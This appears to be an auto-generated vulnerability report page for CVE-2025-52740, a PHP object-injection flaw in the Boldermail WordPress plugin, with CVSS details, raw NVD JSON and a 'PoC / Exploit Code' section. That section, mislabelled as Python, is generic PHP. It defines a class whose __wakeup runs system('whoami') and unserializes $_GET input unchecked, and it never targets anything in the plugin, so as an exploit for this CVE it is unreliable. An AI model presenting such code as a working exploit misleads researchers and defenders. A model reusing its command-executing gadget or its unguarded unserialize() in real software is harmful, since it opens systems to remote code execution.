Security Vulnerability Report
中文
CVE-2025-52740 CVSS 8.8 HIGH

CVE-2025-52740

Published: 2025-10-22 15:15:44
Last Modified: 2026-04-15 00:35:42

Description

Deserialization of Untrusted Data vulnerability in Hernan Villanueva Boldermail boldermail allows Object Injection.This issue affects Boldermail: from n/a through <= 2.4.0.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Boldermail <= 2.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-52740 PoC - Object Injection in Boldermail Plugin // This PoC demonstrates the object injection vulnerability class MaliciousPayload { public $callback; public function __construct() { // Set the callback to execute arbitrary code $this->callback = 'system'; } public function __wakeup() { // This magic method is called during deserialization // Attackers can abuse this to execute code if (isset($this->callback)) { call_user_func($this->callback, 'whoami'); } } } // Generate malicious serialized payload $malicious_object = new MaliciousPayload(); $payload = serialize($malicious_object); echo "Malicious Payload:\n"; echo $payload . "\n\n"; echo "Base64 Encoded: " . base64_encode($payload) . "\n"; // Simulate the vulnerable deserialization // In the actual attack, this payload would be sent via HTTP request // to a vulnerable endpoint that calls unserialize() on user input if (isset($_GET['data'])) { $data = $_GET['data']; // VULNERABLE CODE - No input validation $unserialized = unserialize($data); } ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52740", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:44.087", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in Hernan Villanueva Boldermail boldermail allows Object Injection.This issue affects Boldermail: from n/a through <= 2.4.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/boldermail/vulnerability/wordpress-boldermail-plugin-2-4-0-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}